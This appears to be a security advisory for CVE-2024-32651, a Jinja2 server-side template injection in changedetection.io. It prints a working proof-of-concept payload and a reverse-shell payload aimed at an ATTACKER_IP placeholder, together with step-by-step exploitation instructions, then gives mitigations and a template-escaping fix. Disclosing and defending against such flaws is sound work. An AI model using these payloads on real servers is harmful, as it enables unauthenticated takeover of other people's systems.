Date: June 2024
Author: [Your name]
Applies to: changedetection.io (all versions before fix)
CVE: CVE-2024-32651
Severity: Critical

Introduction

changedetection.io is a popular open-source project that helps users monitor website changes, get restock alerts, and receive notifications. It's widely used by individuals and businesses who want to track webpage updates.

But there's a big problem:
A newly-discovered vulnerability, CVE-2024-32651, allows an attacker to take over the entire server running changedetection.io — no authentication required, no special tools, and no technical usernames. All by abusing a dangerous bug in the app’s templating engine, Jinja2.

Understanding the Vulnerability: SSTI in Jinja2

Changedetection.io uses Jinja2 to render HTML templates on the server side. Jinja2 is powerful, but if you let users feed raw data into templates, it’s very easy to introduce a Server-Side Template Injection (SSTI).

If exploiters find that user input is rendered directly in the template—without filtering—they can run arbitrary code and even execute OS-level commands.

Where’s the Bug?

In vulnerable versions of changedetection.io, certain fields that users can control are rendered in a Jinja2-enabled context directly. For example, custom text fields for notifications, or other input fields that get rendered via Jinja2, _without sanitization_.

Exploitation: Turning SSTI into Remote Command Execution

When user-controlled input is rendered as a template, attackers can craft a malicious payload using Jinja2’s advanced features.

For example, using Jinja2’s double brackets ({{ }}) and filters, an attacker can reach Python’s built-in functions (like os.popen) and execute commands.

Proof of Concept Payload

{{ cycler.__init__.__globals__.os.popen('id').read() }}

- When this is processed by the Jinja2 template, it executes id on the server, returning the result in the rendered web page.

Remote Shell Example

Why stop at just running id? Attackers can use the same trick for something more serious, like a reverse shell:

{{ cycler.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 >&1"').read() }}

Replace ATTACKER_IP with the attacker’s server. When run, this opens a reverse shell, giving full terminal access to the attacker.

Discover a changedetection.io instance that’s open to the internet.

2. Create a new "watch" or edit existing data, injecting one of the payloads above in a vulnerable field (e.g., notifications or custom messages).
3. Trigger the render, e.g. by viewing the "preview" or causing the app to render the payload field.
4. Receive output (such as the OS command result) or catch the reverse shell on your attacking machine.

Unauthenticated RCE: No login required; just access the website.

- Full Server Takeover: Attacker can install malware, ransomware, create new accounts, or attack the internal network.

Persistence: Malicious users can backdoor the system permanently until a full OS reinstall.

If your changedetection.io instance is open to the internet, you are at very high risk.

Good news: This can be fixed.

1. Upgrade immediately. Watch the GitHub issue tracker and the advisory for patches.
2. Require authentication: Deploy behind a login wall using a reverse proxy (e.g., Nginx with HTTP Basic Auth).

Don’t expose to the entire world! Use firewall rules to only allow trusted IPs access.

If you run Docker, always update your image from the official source.

Code Fix Example

Developers must never pass untrusted input directly into templates. If you need to render user content, use the |e filter to escape, or render content as raw text not template code.

Bad:

return render_template_string(user_supplied_content)

Good:

return render_template_string("{{ content|e }}", content=user_supplied_content)

References & Further Reading

- Official CVE Record - CVE-2024-32651
- changedetection.io GitHub
- What is Server Side Template Injection?
- PayloadsAllTheThings: SSTI Injection

Conclusion

CVE-2024-32651 is a critical reminder: always treat user content as potentially dangerous, especially in web apps that use templating engines like Jinja2.

If you’re running changedetection.io, patch immediately, do not expose to the raw internet, and always enable authentication.

If you want to learn more or need help with securing your deployments, feel free to reach out or check the references above.

Timeline

Published on: 04/26/2024 00:15:08 UTC
Last modified on: 06/07/2024 19:45:58 UTC